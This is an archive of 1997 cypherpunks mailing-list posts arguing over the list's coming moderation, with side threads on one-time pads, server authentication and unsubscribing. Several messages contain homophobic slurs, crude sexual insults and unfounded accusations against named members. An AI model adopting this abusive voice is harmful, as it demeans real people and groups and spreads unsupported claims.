        THE COMING COLLAPSE OF THE NET

CFP'97 will feature parallel-track lunchtime workshops during the
main conference on topics including:

THE CASE AGAINST PRIVACY           HOW A SKIPTRACER OPERATES
CYBERBANKING                       HOW THE ARCHITECTURE REGULATES
RIGHTS IN AVATAR CYBERSPACE        NATIONAL I.D. CARDS
PUBLIC KEY INFRASTRUCTURES         EUROPEAN IP LAW
SEXUAL HARASSMENT IN CYBERSPACE    VIRTUAL COMMUNITIES
DOMAIN NAMES                       ARCHIVES, INDEXES & PRIVACY
GOVERNMENT REGULATION OF ECASH     CRYPTO AND THE 1st AMENDMENT

The conference will also offer a number of in-depth tutorials on
subjects including:

* The Economics of the Internet
* Regulation of Internet Service Providers
* The Latest in Cryptography
* The Constitution in Cyberspace
* Info War: The Day After
* Personal Information and Advertising on the Net
* Transborder Data Flows and the Coming European Union
* Intellectual Property Rights on the Net: A Primer


INFORMATION

A complete conference brochure and registration information are
available on our web site at:   http://www.cfp.org

For an ASCII version of the conference brochure and registration
information, send email to:     cfpinfo@cfp.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 16:25:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cheap CyberShots
In-Reply-To: <199701181645.SAA17382@vesuri.Helsinki.FI>
Message-ID: <32E17314.3640@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


In the interests of upgrading the quality of cheap shots in 
CyberSpace, I thought I would pass along the following as an
example of how to 'finesse' a cheap shot.

> Shouting Ground Technologies, Inc. is concerned about the increased
> abuse of the internet with "spamming".  In this instance, we find
> ourselves in a dilemma. 
>   * We do not condone any improper use of the internet, including
>     spamming. 
>   * We respect the right of privacy of individuals, and the right
>     to conduct lawful business unhindered.
...
> In the past few days we've received a lot of complaints about the
> inappropriate messages.  Several people have demanded that we take
> immediate action.  A couple were very critical that we did not
> cut their internet access immediately.
...
>  So people are in effect suggesting that we
>   * Unilaterally violate the terms of their service contract, subjecting
>     us to liability for their lost business.
>   * Violate their right to privacy by filtering and reading all of
>     their e-mail and news traffic.

> Presumably we would have the same culpability for all of our clients,
> so we'd have to read everybody's e-mail before passing it on.  We
> suspect that anybody that wants to be treated that way already
> has service with Prodigy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 16:26:07 -0800 (PST)
To: Rodrigo Espirito Santo <res@unidyne.uni.pt>
Subject: Re: Get me off this fucking list, or else.... (fwd)
In-Reply-To: <3.0.1.32.19970118000831.0065be70@popd.ix.netcom.com>
Message-ID: <32E176BB.22BA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
 
 > c) The mail you're sending doesn't have your correct headers on it
 >         (e.g. looks like it's from res@pc43.unidyne.uni.pt instead of
 >         res@unidyne.uni.pt), in which case you may need human help,
or
 
   Also if you change your username or alias in your emailer,
  e.g. CoolGuy <toto@sk.sympatico.ca> ---> DumbFucker
 <toto@sk.sympatico.ca>
  (Hey! I just 'spammed' myself!)
 then majordomos seem to sometimes have trouble properly unsubscribing
 you.
 I believe that, in theory, they are supposed to be able to do so, as
 long
 as your actual mailing address stays the same, but I have found this
 not always to be the case.
 
   And if you have changed email accounts since subscribing, then only
 the Kenny Houston Psychic Majordomo can properly unsubscribe you.
 
 Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: GJDCPA@aol.com
Date: Sat, 18 Jan 1997 16:16:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Announcing On Line Tax Tips
Message-ID: <199701190025.RAA06798@pw1.PrairieWeb.COM>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,

January 17, 1997

Subject:	Tax Tips and Important Due Date Reminder

We are pleased to announce our site at http://www.gjdcpa.com. The purpose of our website is to provide information for the taxpaying public to assist you with your 1996 income tax return preparation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 16:26:09 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Gilmore and Sandfart suck big dicks
In-Reply-To: <4Lmq1D13w165w@bwalk.dm.com>
Message-ID: <32E17817.2CFE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> most posters are indeed militant homosexual censors
> who don't care about crypto except to drop a few "kewl" phrases - like
> Paul Bradley's infamous "brute-force attack on one-time pads".

 I thought it was 'brute-force attack on Maxipads'.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AaronH4321@aol.com
Date: Sat, 18 Jan 1997 14:38:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: One time pads, Next question?
Message-ID: <970118173710_845991204@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Okay, with the intel I have gotten from the responses let me modify and
clarify. 

So, I now know that you can't use a PRNG to create a OTP. If I did have a RNG
that could create a "cryptographically" random, million character OTP and I
physically loaded the data onto each computer I wanted to communicate
with(e.i. group of laptops all loaded at the same location, same time), how
cryptographically secure would the data be. I know that physical security
would be a nessescary to the system. 

If I add some type of error checking to make sure someone that knows the
plaintext doesn't modify specific characters, an attacker knows what the
message is (e.g. "Send $10 to Bob") the message can be altered (to "Send $99
to Bob") even though it is encrypted. 

So, lets recap. If the keyig material is kept secure, and if the OTP is
cryptographically random, and if error checking is implemented then would
this be considered a secure(however encumbering it may be) system. 

Aaron.....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 16:26:32 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <Pine.SUN.3.91.970118072302.29745A-100000@crl2.crl.com>
Message-ID: <32E17AF8.1FB7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Sat, 18 Jan 1997 paul@fatmans.demon.co.uk wrote:
> 
> > ...but I must say the list has gone downhill sharply since
> > the start of the censorship.
> 
> I guess this a classic case of seeing what you want to see.
> (Uh, Paul, the moderation experiment HASN'T STARTED YET.)

  I think that 'fear' has already started eating away at
people's brains. I have found I am getting more crypto-
related 'private' email from people who seem to be afraid
of being 'seen' talking to me.

  In terms of 'seeing what you want to see', I have the 
perfect solution for those who actively seek to do just
that.
  Set your email filter so that you only read your own
posts. That way, your world-view will be filled only with
smart, witty, intelligent posts.

  As for 'moderation', I consider it to have started with
the forced removal of Dr. DV K from the list, although,
of course, others are free to 'wrongly' disagree with me
on this.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 18:12:50 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Enough is Never Enough -- pro-CDA alliances, from TNNN
In-Reply-To: <199701180608.AAA17196@nic.stolaf.edu>
Message-ID: <32E180DC.1150@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Sir Robin of Locksley wrote:
> > > Donna Rice-Hughes from Enough is Enough says: "It discusses
> > > three primary areas of our concern: letting the court know the
> > > problems on the Internet. Adult pornography, indecency, and
> > > child porn as well.

> > Now it's porn, tomorrow it's you saying what you beleive (that
> > might also be the truth...) If one is offended by something,
> > don't look! How come Catholicism doesn't get banned and outlawed?
> > Hell, it offends me...

I didn't see the question anywhere, so I'm asking:

This Donna Rice-Hughes couldn't possibly be the Donna Rice who sat on
Gary Hart's lap for the famous picture, could she?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 21:42:36 -0800 (PST)
To: AIDAS <aidas@ixsrs4.ix.netcom.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <Pine.LNX.3.95.970118185614.8868B-100000@ixsrs4.ix.netcom.com>
Message-ID: <32E1841B.37C7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


AIDAS wrote:
> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > At that time most valuable contributors to this list (such as myself)
> > resolved not to contribute crypto-relevant content to a censored forum.
> 
> A decision to which you have definately stuck.

> > > <sarcasm> I just can't wait to see what kind of witty comment Dimitri will
> > > have on the first and second paragraphs of my response. </sarcasm>
> >
> > You're not worth a witty comment, 'punk.
> 
> Or you're not capable of providing one. I think you reached your wit's end
> a long time past.

Could AIDAS also be LOGOS (Sandy)?  All of these are five characters
long.  Coincidence?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 16:26:11 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: your mail
In-Reply-To: <199701181810.MAA10982@manifold.algebra.com>
Message-ID: <32E1865C.206F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Here's a shell script that i wrote to help people like Prof. OBrien.

Igor,
 I made a few 'improvements' in your script, so that the people who
need it most will feel more comfortable with it.
 
> #!/bin/sh
> 
> if [ "x$1" = "x" ] ; then
>   echo Usage: $0 email 1>&2
>   exit 1
> fi
> 
> /usr/sbin/sendmail -f $1 majordomo@toad.com << __EOB__
 Subject: unscrivibe
> From: $1
> To: majordomo@toad.com
> 
 unbriscrive me from that list I joined that sounded cool, dude
 are you listning, this time, you moroon?
 how did you ever get to be a major, when you caint even get
me off this damn list?
 are you stoopid? can you even 'spel' stoopid?
 i bet you don't even know where the <ANY> key, is, do you?
(you didn't answer me when I asked you, is it a secret?)
 so get me off this dam list or I will be forced to use 
capitols, next time. 
 
> __EOIdiocy__





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 21:42:52 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <199701190154.TAA04181@manifold.algebra.com>
Message-ID: <32E186BB.7079@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Anonymous wrote:

> What is important for freedom of speech is not the presence of "closed"
> places like moderated cypherpunks, but the presence of "open" places
> like cypherpunks-unedited.
> I'd probably subscribe to it, as long as its level of noise is tolerable.
> The interesting thing that moderators will soon discover is that
> competition between the moderated and the unedited list would lead
> to so substantial improvement of the unedited list, that lots of
> people will not feel a need for any moderation and will unsubscribe from
> the moderated list and subscribe to the unmoderated one.
> Sandy & Co should not view it as their failure, but rather as their
> success. What they want, hopefully, is not to be control freaks, but
> to make readers better off. (and no one gets any worse off against
> their will)

All this assumes that Sandfort and Gilmore are real, sincere, and
somewhat honest people.  Which of course is not at all the case.

There is an agenda here, it has a hidden money trail, and the dis-
information put out as to the "real" purpose of the moderation should
be ignored, at least by intelligent people.

"Cypherpunks" who assume Sandfort is doing this out of the goodness
of his heart, or that Gilmore is providing a truly "free" service,
should get themselves some better drugs.

The very first test of credibility they failed was when they *renamed*
the original list and co-opted the original name for the edited list.
Don't trust 'em.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sat, 18 Jan 1997 17:29:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mondex
Message-ID: <199701190129.SAA03781@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck a Tim Mayflower in the ass, a 
tapeworm might bite your penis.

            ///
           (0 0)
    ____ooO_(_)_Ooo__ Tim Mayflower





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Sat, 18 Jan 1997 15:31:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <199701182330.SAA07352@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:26 AM 1/18/1997, Sandy Sandfort wrote:
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                          SANDY SANDFORT
> . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
>C'punks,
>
>On Sat, 18 Jan 1997 paul@fatmans.demon.co.uk wrote:
>
>> ...but I must say the list has gone downhill sharply since 
>> the start of the censorship.
>
>I guess this a classic case of seeing what you want to see.
>(Uh, Paul, the moderation experiment HASN'T STARTED YET.)

No, he's got it right.  The announcement of the moderation experiment
was followed by a decline in interesting threads.

"Why is the stock price falling?  We only announced nationalization.
IT HASN'T STARTED YET."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Sat, 18 Jan 1997 16:58:29 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <51Rq1D26w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970118185614.8868B-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> At that time most valuable contributors to this list (such as myself)
> resolved not to contribute crypto-relevant content to a censored forum.

A decision to which you have definately stuck.

> > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > spam, the "you're all homosexuals" postings, the posts by morons that
> > can't figure out Majordomo or their mailers, and so on and so forth.
> 
> Not sure about "all", but someone whose name sounds like AIDS, and who
> advocates censorship, most likely is one.

Non sequitor.

> > So I ask you this: If the moderation isn't yet implemented, then how has
> > it "gone down sharply since the start of the censorship [which hasn't been
> > done yet]?"
> 
> The way Sandfart has gone down on Gilmore or the way Gilmore has gone
> down on Inman? Or the way "copyright violations" (formerly known as
> "news spam") will not be sent to a censored forum?

Non sequitor.

> > <sarcasm> I just can't wait to see what kind of witty comment Dimitri will
> > have on the first and second paragraphs of my response. </sarcasm>
> 
> You're not worth a witty comment, 'punk.

Or you're not capable of providing one. I think you reached your wit's end
a long time past.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 17:58:58 -0800 (PST)
To: lucifer@dhp.com (Anonymous)
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <199701182330.SAA07352@dhp.com>
Message-ID: <199701190154.TAA04181@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Anonymous wrote:
> 
> No, he's got it right.  The announcement of the moderation experiment
> was followed by a decline in interesting threads.

This is actually inevitable. When people feel controlled, they do 
not come up with as many interesting ideas.

This is a cost of moderation. Whether it does or does not outweigh
the benefits (like some people not being fired) is a good question.

Some other fora, such as alt.pagan, were so drowned in trolls that
they simply could not conduct any meaningful discussions. For them, 
the benefit of moderation was creation of a place to talk.

What is important for freedom of speech is not the presence of "closed"
places like moderated cypherpunks, but the presence of "open" places
like cypherpunks-unedited. 

I'd probably subscribe to it, as long as its level of noise is tolerable.

The interesting thing that moderators will soon discover is that
competition between the moderated and the unedited list would lead
to so substantial improvement of the unedited list, that lots of
people will not feel a need for any moderation and will unsubscribe from
the moderated list and subscribe to the unmoderated one. 

Sandy & Co should not view it as their failure, but rather as their
success. What they want, hopefully, is not to be control freaks, but
to make readers better off. (and no one gets any worse off against 
their will)

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 18:14:45 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Airport security [no such thing]
In-Reply-To: <32E17060.542C@gte.net>
Message-ID: <199701190210.UAA04384@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Prof. Dale Thorn wrote:
> When you have the resources to run a coke lab, your employees *can*
> be all good-looking women [hee hee].  So, to avoid the ugly-naked
> passenger syndrome, stick mainly to business flights in certain areas,
> or flights to exclusive resorts, etc.
> 

Dale,

Do not forget that it is possible to have good looking women w/o the 
resources needed for a coke lab. In fact, totally different resources
are important.

	- Igor.

Literature: 

1. Rzhevsky, Poruchik, Selected Works.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 18:20:47 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Sandy and the Doc
In-Reply-To: <Pine.SUN.3.91.970118163429.4256C-100000@crl2.crl.com>
Message-ID: <32E19F4B.28A0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> 
> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > In practice, a debit card must be tied to a bank account with a valid SS#.
> > You try something suspicious and the IRS will debit the account $500 and/or
> > freeze it.
> 
> Not if it's a foreign bank account.

Sandy,
 This is not intended as a flame, but I think one of us is
crazy here (and I'm getting weekend passes from the 'home',
so it can't be me).
 I am finding it hard to understand how the same people who
seemed dedicated to silencing Dr. DV K on this list can
then turn around and 'correct' him, or 'add to' his comments,
or 'one-up' him in the insult department.
 It certainly lends fuel to his claim that moderation will
be merely a one-way censorship process, as did the plethora
of comments (from 'purported' adults), as the espoused date
of the beginning of moderation drew near, whereupon various
missives were launched by the 'righteous', taking 'parting
shots' at those whom they assumed would be relegated to
the CypherPunks Flame Camps.

 I have no quarrel with whatever is done in regard to this
list, since it is essentially a private list, but I am
rather mystified at the seemingly self-delusional aspects
of instituting this nebulous moderation process.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 18:18:51 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <32E16634.3BC6@gte.net>
Message-ID: <199701190213.UAA04414@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Dr.Dimitri Vulis KOTM wrote:
> > Someone wrote to me:
> > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
> > >write what the fuck they like but straight or intelligent or NORMAL
> > >people will have to be filtered.
> 
> > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
> > like Jason Durbin will continue to post personal attacks on Gilmore's
> > many "enemies", but the victims of the libel will not be able to respond
> > and refute their lies. The concept of "the best response to speech you
> > don't like is more speech" is totally alien to the homosexual subculture
> > on the Internet. These control freaks are into censorship and B&D.
> 
> Here's a problem.  I don't have "technical" capabilities in the area of
> communications software, and I have too full a plate to start studying
> now.  But, I/we need to monitor the "moderator", to make sure he doesn't
> allow people to attack others, then cut the responses.
> 
> If he does this, and he doesn't rectify it when it's called to his
> attention, he would need to be punished in some way.  One of the
> questions I have is, how do I know what's cut when all I subscribe to
> is the uncensored list?  I do *not* want to subscribe to the filtered
> list plus the "flames" list, out of principle.  Is this something that
> would be forced on me/us in order to monitor the censorship?
> 
> In other words, can I separate the censored email without having to
> have two accounts?
> 

it is easy undex unix, what you have to do is store arriving article
in separate directories by message ID and run diff (with certain
corrections) on these two directories.

diff will print you the files that are in one dir and not in another.

take an extraction, and delete too new articles (so that propagation
does not screw you up).

thats it

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 18 Jan 1997 20:25:36 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <199701190154.TAA04181@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970118201125.10538B-100000@crl10.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 18 Jan 1997 ichudov@algebra.com wrote:

> The interesting thing that moderators will soon discover is that
> competition between the moderated and the unedited list would lead
> to so substantial improvement of the unedited list, that lots of
> people will not feel a need for any moderation and will unsubscribe from
> the moderated list and subscribe to the unmoderated one. 
> 
> Sandy & Co should not view it as their failure, but rather as their
> success. What they want, hopefully, is not to be control freaks, but
> to make readers better off. (and no one gets any worse off against 
> their will)

Absofuckinglutely.  Thanks for shinning some light on the issue.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 18 Jan 1997 20:25:24 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Sandy and the Doc
In-Reply-To: <32E19F4B.28A0@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970118201607.10538D-100000@crl10.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 18 Jan 1997, Toto wrote:

>  I am finding it hard to understand how the same people who
> seemed dedicated to silencing Dr. DV K on this list can
> then turn around and 'correct' him, or 'add to' his comments,
> or 'one-up' him in the insult department.

Correcting is not an insult.  His statement was incorrect or
incomplete.  I corrected it.  His comment was on topic, though
in error.  My correction was on topic.  He was not "silenced" in
any way.  Toto's proposition, therefore, does not make sense to me.

Contrary to several peoples erroneous assumptions, there will be
no flaming--of anyone--on the moderated list.  When moderation is
under weigh, I will do nothing to restrain flaming on the flame
and unedited lists.  Toto's prejudice (in the literal sense of the
word, i.e., "to pre-judge") is showing.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 20 Jan 1997 08:26:27 -0800 (PST)
To: cryptography@c2.net
Subject: Server Authentication
Message-ID: <199701201626.IAA12835@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I recently came aware of an interesting problem in server authentication.
I.e. How does a browser plugin validate the server it is working for.
There are many reasons for a plugin to want to validate its web server
including contractual relations, but the one that most appeals to me is
that the plugin provides access to confidential data which is used in an
application distributed between the client machine and the server.  Since
the data is confidential, the plugin doesn't want to send it to just any
server who can serve up a web page in the correct format, so it needs to
authenticate the server.

Now the obvious way to validate the server would be through the
certificates exchanged when the SSL session was set up.  (I am assuming a
SSL session here because you shouldn't send confidential data over a
non-encrypted link.)  However, I haven't found an API where the plugin can
discover the certificate used by the server, so it appears you have to roll
your own.

Rolling your own seems to come up against the problem mentioned by the
IPSEC people, i.e. if you separate authentication and encryption the places
you can end up are:

(1) Encrypted and authenticated.
(2) Encrypted but not authenticated.
(3) Not encrypted and subject to a man in the middle authentication attack.
(i.e. If an IP router can route your authentication packets, so can one
running Mallory's special code.  In the case above, the hostile server acts
as a router for authentication.)
(4) Unauthenticated and unencrypted.

Does anyone have a solution to this authentication problem?

Are signed applets discriminating enough to differentiate between different
validated hosts and adjust local permissions differently (at the file level
at least) for each?  (Or is it more like, "Oh this applet is from
marketspam.com which is signed by the US Post Office, it can read or write
anything on the machine."  Yea, right :-( )


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 20:30:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <Pine.LNX.3.95.970118185614.8868B-100000@ixsrs4.ix.netcom.com>
Message-ID: <s4cR1D45w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


AIDAS <aidas@ixsrs4.ix.netcom.com> writes:

> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > At that time most valuable contributors to this list (such as myself)
> > resolved not to contribute crypto-relevant content to a censored forum.
>
> A decision to which you have definately stuck.

Thank you - and I urge others to follow my example.

> > > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > > spam, the "you're all homosexuals" postings, the posts by morons that
> > > can't figure out Majordomo or their mailers, and so on and so forth.
> >
> > Not sure about "all", but someone whose name sounds like AIDS, and who
> > advocates censorship, most likely is one.
>
> Non sequitor.
            ^
Do "cypher punks" use lousy spelling as a kind of "poor fag's crypto"?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 22:15:08 -0800 (PST)
To: " Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Sandy and the Doc
In-Reply-To: <Pine.SUN.3.91.970118201607.10538D-100000@crl10.crl.com>
Message-ID: <32E1BBD9.6A0C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Sat, 18 Jan 1997, Toto wrote:
> >  I am finding it hard to understand how the same people who
> > seemed dedicated to silencing Dr. DV K on this list can
> > then turn around and 'correct' him, or 'add to' his comments,
> > or 'one-up' him in the insult department.

> Correcting is not an insult.  His statement was incorrect or
> incomplete.  I corrected it.  His comment was on topic, though
> in error.  My correction was on topic.  He was not "silenced" in
> any way.  Toto's proposition, therefore, does not make sense to me.
> Contrary to several peoples erroneous assumptions, there will be
> no flaming--of anyone--on the moderated list.  When moderation is
> under weigh, I will do nothing to restrain flaming on the flame
> and unedited lists.  Toto's prejudice (in the literal sense of the
> word, i.e., "to pre-judge") is showing.

Please don't get the wrong idea, that I'm paranoid or something, but
I think I just saw a tiny leak, a miniscule Freudian slip of sorts -
Sandy says "I will do nothing to restrain ..... the unedited list...".

Do we now have to have occasional assurances that the "unedited" list
is not being restrained?  I thought that was a given, beyond question
of any kind.  I thought *all* of the controversy revolved around the
edited/censored list (having stole the original list's name), and that
everyone understood that the uncensored list was untouchable.  But now
Sandy is taken to offering reassurances.  What's next??





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Elisabeth@ix.netcom.com
Date: Sat, 18 Jan 1997 20:47:03 -0800 (PST)
Subject: Global Home-based Business
Message-ID: <199701190418.UAA11276@dfw-ix1.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


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list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 21:30:54 -0800 (PST)
To: reece@taz.nceye.net (Bryan Reece)
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <19970119043828.28200.qmail@taz.nceye.net>
Message-ID: <199701190526.XAA00327@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Bryan Reece wrote:
> 
>    Dale Thorn wrote:
>    > 
>    > Dr.Dimitri Vulis KOTM wrote:
>    > > Someone wrote to me:
>    > > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
>    > > >write what the fuck they like but straight or intelligent or NORMAL
>    > > >people will have to be filtered.
>    > 
>    > > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
>    > > like Jason Durbin will continue to post personal attacks on Gilmore's
>    > > many "enemies", but the victims of the libel will not be able to respond
>    > > and refute their lies. The concept of "the best response to speech you
>    > > don't like is more speech" is totally alien to the homosexual subculture
>    > > on the Internet. These control freaks are into censorship and B&D.
>    > 
>    > Here's a problem.  I don't have "technical" capabilities in the area of
>    > communications software, and I have too full a plate to start studying
>    > now.  But, I/we need to monitor the "moderator", to make sure he doesn't
>    > allow people to attack others, then cut the responses.
>    > 
>    > If he does this, and he doesn't rectify it when it's called to his
>    > attention, he would need to be punished in some way.  One of the
>    > questions I have is, how do I know what's cut when all I subscribe to
>    > is the uncensored list?  I do *not* want to subscribe to the filtered
>    > list plus the "flames" list, out of principle.  Is this something that
>    > would be forced on me/us in order to monitor the censorship?
>    > 
>    > In other words, can I separate the censored email without having to
>    > have two accounts?
>    > 
> 
>    it is easy undex unix, what you have to do is store arriving article
>    in separate directories by message ID and run diff (with certain
>    corrections) on these two directories.
> 
>    diff will print you the files that are in one dir and not in another.
> 
>    take an extraction, and delete too new articles (so that propagation
>    does not screw you up).
> 
>    thats it
> 
> If you just want the differences and aren't too concerned with
> timeliness, I'm planning on running a cypherpunks-rejects list containing all
> the messages that went out the unedited list but didn't show up on the
> moderated one within x hours (not sure what x should be yet).
> 

a lot, since moderators sleep, eat, go to movies, etc.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
